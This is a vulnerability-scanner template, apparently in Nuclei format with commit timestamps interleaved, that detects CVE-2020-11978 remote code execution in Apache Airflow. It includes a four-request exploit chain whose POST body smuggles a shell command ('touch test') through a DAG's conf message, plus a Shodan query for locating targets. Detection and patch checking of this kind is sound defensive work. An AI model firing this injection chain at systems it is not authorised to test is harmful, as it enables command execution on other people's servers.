2021-06-03 08:27:09 +00:00
id : CVE-2020-11978
2022-04-22 10:38:41 +00:00
2021-06-03 08:27:09 +00:00
info :
2022-07-26 13:45:11 +00:00
name : Apache Airflow <=1.10.10 - Remote Code Execution
2021-06-03 08:27:09 +00:00
author : pdteam
severity : high
2022-07-26 13:45:11 +00:00
description : Apache Airflow versions 1.10.10 and below are vulnerable to remote code/command injection vulnerabilities in one of the example DAGs shipped with Airflow. This could allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use).
2023-09-06 12:22:36 +00:00
remediation : If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable.
2021-08-18 11:37:49 +00:00
reference :
2021-08-19 14:44:46 +00:00
- https://github.com/pberba/CVE-2020-11978
- https://twitter.com/wugeej/status/1400336603604668418
2022-05-17 09:18:12 +00:00
- https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E
2022-07-26 13:45:11 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-11978
2023-10-14 11:27:55 +00:00
- http://packetstormsecurity.com/files/174764/Apache-Airflow-1.10.10-Remote-Code-Execution.html
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 8.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-11978
2023-07-11 19:49:27 +00:00
cwe-id : CWE-78
2023-10-18 16:26:30 +00:00
epss-score : 0.97201
2023-11-03 15:51:18 +00:00
epss-percentile : 0.99758
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
2022-05-12 14:18:36 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:22:36 +00:00
max-request : 4
2023-07-11 19:49:27 +00:00
vendor : apache
product : airflow
2023-09-06 12:22:36 +00:00
shodan-query : http.html:"Apache Airflow" || title:"Airflow - DAGs"
2023-10-14 19:50:16 +00:00
tags : packetstorm,cve,cve2020,apache,airflow,rce,kev
2021-06-03 08:27:09 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-06-03 08:27:09 +00:00
- raw :
- |
GET /api/experimental/test HTTP/1.1
Host : {{Hostname}}
Accept : */*
- |
GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1
Host : {{Hostname}}
Accept : */*
- |
POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1
Host : {{Hostname}}
Accept : */*
Content-Type : application/json
{"conf": {"message": "\"; touch test #" }}
- |
GET /api/experimental/dags/example_trigger_target_dag/dag_runs/{{exec_date}}/tasks/bash_task HTTP/1.1
Host : {{Hostname}}
Accept : */*
req-condition : true
2023-07-11 19:49:27 +00:00
2021-06-03 08:27:09 +00:00
matchers-condition : and
matchers :
- type : dsl
dsl :
- 'contains(body_4, "operator":"BashOperator")'
2023-06-19 21:10:30 +00:00
- 'contains(header_4, "application/json")'
2022-06-16 04:33:41 +00:00
condition : and
2023-07-11 19:49:27 +00:00
extractors :
- type : regex
name : exec_date
group : 1
regex :
- '"execution_date":"([0-9-A-Z:+]+)"'
internal : true
part : body
2023-11-05 22:23:39 +00:00
# digest: 4a0a00473045022100befb475be6f901acfd126e47cdc157fa2567c295663bd5960b1c506c780c64ed02205f4effbd416335109bd85431d2db99cd01aac24f6204e82d2a0f5c8a16667810:922c64590222798bb761d5b6d8e72950